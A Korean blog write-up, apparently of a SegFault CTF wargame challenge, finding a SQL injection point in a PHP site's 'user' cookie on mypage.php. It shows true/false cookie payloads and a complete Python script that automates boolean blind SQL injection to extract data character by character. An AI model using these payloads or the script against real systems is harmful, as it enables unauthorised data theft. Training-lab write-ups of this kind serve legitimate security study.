ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection Advanced - SQL Injection Point 1
    wargame/segfault 2024. 6. 17. 10:49

     

    목표

    사이트 내에 SQL Injection이 가능한 곳이 있다. 그곳을 찾아내서 SQL injection으로 flag를 찾아내라

     


     

    웹사이트 분석 - 회원가입, 로그인

    /sqli_6/
    /sqli_6/

    `/sqli_6/`에 get으로 처음 접근하면 200 상태코드를 반환하며, PHPSESSID를 쿠키로 세팅하도록 한다. 그 다음부터 이 url에서 PHPSESSID를 쿠키로 요청에 담아 보낸다.

    로그인 버튼을 누르면 `/sqli_6/login.php` 페이지로 이동한다.


    /sqli_6/login.php
    /sqli_6/login.php의 form 태그

    form 구성 :  `Log In`버튼을 누르면 자기자신인 `login.php`로 post 요청을 보내며, `id는 name, password는 pw`에 담겨져 제출된다.

    `Sign up` 버튼을 누르면 자바스크립트로 페이지가 `signup.html`로 이동된다.

     

    아직 아이디가 없기 때문에 `Sign up`버튼을 눌러 회원가입부터 진행해본다. 


    /sqli_6/signup.html
    /sqli_6/signup.html의 form 태그

    form은 `Sign Up`버튼을 누르면 `signup.php`로 post요청을 보낸다. 이때 보내지는 데이터는 signupid와 signuppw이다.

     

    `signupid: shadow, signuppw: 1234` 로 데이터를 제출해 회원가입을 진행해보겠다.


    /sqli_6/signup.html
    /sqli_6/signup.php
    /sqli_6/signup.php

    response에 담긴 script로 인해 회원가입에 성공했다는 창이 뜨면서, 위치가 `index.php`로 이동하게 된다. 이제 로그인 버튼을 눌러 로그인을 진행해보겠다.


    /sqli_6/login.php
    /sqli_6/signup.php

    자기자신인 `login.php`에 post로 아이디와 비밀번호를 전송하고, 서버에서 인증에 성공했기에 response에 302코드가 반환되며 로그인 성공 정보를 담고 있는 PHPSESSID를 새로 업데이트한다. 그리고 사이트 내 다른 페이지에서 사용할 수 있고 xss를 방지하기 위해 `path=/; HttpOnly`로 설정하였다.

    또한 user에 내가 로그인 한 `user=shadow`도 담아서 보낸다. 쿠키에 아이디를 직접 담아서 보내기에 이 부분의 취약점을 추후에 잘 살펴봐야한다.

    마지막으로 location 헤더 때문에 `index.php`로 이동한다.


    로그인 후 /sqli_6/index.php
    로그인 후 /sqli_6/index.php

    로그인에 성공했다! 로그인 성공 시 Request의 Cookie에 `user=shadow와 PHPSESSID`를 담아서 보낸다. 그리고 Response에서 나의 아이디인 `shadow`가 출력되고 있다. 이 부분도 주의깊게 봐야한다. 그리고 `마이페이지, 게시판, Logout` 버튼을 누르면 각각 onclick 속성에 의해 특정 url로 이동하게 된다.


    쿠키 변조 시도

    `/sqli_6/index.php`에서 쿠키를 변조하였을때 Response에 담겨진 값이 변경되는지 확인한다. 만약 가입하지 않은 아무 아이디로 쿠키값을 변조했을 때 출력이 되지 않는다면 해당 페이지에서 쿠키값을 이용한 sql문이 처리되고 있음을 알 수 있다. 그렇지 않고 그냥 변조한 쿠키값 그대로 출력이 된다면 xss 취약점이 있을 수 있다. 아무 이상이 없이 그대로 내 아이디 `shadow`로 출력이 된다면 취약점이 존재하지 않는다.

     

    Repeater로 쿠키 변조

     

    Repeater로 get method `/sqli_6/index.php`를 보내서 쿠키의 `user=shadow`를 `user=nothing`으로 변조해서 보냈더니. 그대로 `shadow`라고 출력되었다. 따라서 이곳에는 sqli point와 xss 취약점이 존재하지 않는다. (이 문제는 Sqli Point를 찾는 것이 목표이므로, 실무에서는 동시에 진행해야하나 더 이상 XSS 취약점을 따로 다루지 않도록 하겠다.)

     


    웹사이트 분석 - 마이페이지

    /sqli_6/mypage.php
    /sqli_6/mypage.php

     

    `index.php`에서 `마이페이지`버튼을 눌러 `mypage.php`로 이동했다. 쿠키에 `user=shadow와 PHPSESSID`가 담겨지고, Response에 `shadow`가 출력된다. 여기도 마찬가지로 쿠키변조로 인한 sqli 취약점이 존재할 수도 있다.

     

    쿠키 변조 시도

    Burp Suite의 Repeater를 통해 Cookie에 담긴 `user`값을 변경해서 보내본다. 

     

    /sql_6/mypage.php

     

    `user=noting`을 담아서 보내니 `placeholder="noting"`으로 담겨져서 오는 것을 볼 수 있다(XSS취약점 존재). 그리고 원래 `Nothing Here...`이라고 담겨져 있던 `info`태그의 `placeholder`가 비어있는 것을 볼 수 있다. 여기서 쿠키값을 인자로 사용한 sql 질의가 사용되었을 수도 있음을 추측할 수 있다.

    정리
    아이디를 정상적으로 찾았을 때: `placeholder="Noting Here..."`
    아이디를 정상적으로 찾지 못했을 때: `placeholder=""`

     

    // 예상 SQL문
    $sql = "SELECT * FROM member WHERE id ='___'";

     

    그리고 쿠키값이 저 사이에 들어갈 수 있기 때문에 SQL Injection이 가능한지 저 질의문이 맞다는 전제 하에 `shadow' and '1'='1`을 삽입한다.

    // 그러면 완성되는 SQL문은 다음과 같다.
    $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='1'";

     

    아이디 찾기 성공

     

    결과는 `Nothing Here...` 이므로 정상적으로 아이디를 찾는 것에 성공했음을 알 수 있다. 거짓 조건을 넣어 로그인에 실패하는 것도 시도해본다.


    `shadow' and '1'='2`를 넣어 sql문이 항상 거짓이 되게 만든다.

    // 완성되는 SQL문은 다음과 같다. WHERE문이 항상 거짓이 되어 아무것도 찾을 수 없다
    $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='2'";

    아이디 찾기 실패

    `placeholder`가 비어있다. 아이디를 찾는 것에 실패하게 만드는데 성공했음을 알 수 있다.

     

     

    따라서 `mypage.php`에서 쿠키변조를 통한 sqli point가 있는 것을 확인하였다.

     

    sql질의문 결과가 화면에 출력되지 않고, 에러가 출력되지 않으므로 데이터를 추출하기 위해서는 Blind SQL Injection으로 가능하다.

     

    Python으로 Blind SQLi 자동화

    import requests
    
    # change following 5 lines as you need
    usingId = 'shadow'
    usingPhpsessid = 'k942mhsjc4994eml5oba510lvu'
    url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
    falseText = "placeholder=\"\"/>"
    preparedFormat = "{}' and (ascii(substr(({}),{},1)) > {}) and '1'='1"
    # {}: id, select statement, char index, ascii int value
    
    print("프로그램 시작")
    
    while True:
        print('종료하시려면 \'quit\' 를 입력해주세요')
    
        sql_statement = input("select문 입력 > ")
        if (sql_statement == 'quit'):
            break
    
        extracted_data = ''
        inputFormat = preparedFormat.format(usingId,sql_statement,1,0)
        headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
    
        response = requests.get(url, headers=headers)
    
        if falseText in response.text:
            print("데이터가 없습니다.")
            continue
    
        i = 1 # data index
        while True:
            bottom = 32
            top = 128
    
            inputFormat = preparedFormat.format(usingId,sql_statement,i,0)    
            headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
            response = requests.get(url, headers=headers)
    
            if falseText in response.text:
                break
    
            while True:
                j = int((top+bottom)/2)
                inputFormat = preparedFormat.format(usingId,sql_statement,i,j)    
                headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
                response = requests.get(url, headers=headers)
    
                if ((top-bottom)<=2):
                    for k in range(0,3):
                        inputFormat = preparedFormat.format(usingId,sql_statement,i,j+k)    
                        headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
                        response = requests.get(url, headers=headers)
                        if falseText in response.text:
                            extracted_data += chr(j+k)
                            i += 1
                            break
                    break
                
                if falseText in response.text: # 32 ~ 80
                    top = j
                else:
                    bottom = j
        
        print(extracted_data)

     

     

    Blind SQL Injection으로 flag를 찾아냈다!

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection Advanced - SQL Injection Point 2  (0) 2024.06.17
    SQL Injection - 6  (0) 2024.06.17
    SQL Injection - 5  (0) 2024.06.17
    SQL Injection - 4  (0) 2024.06.17
    SQL Injection - 3  (0) 2024.06.17
Designed by Tistory.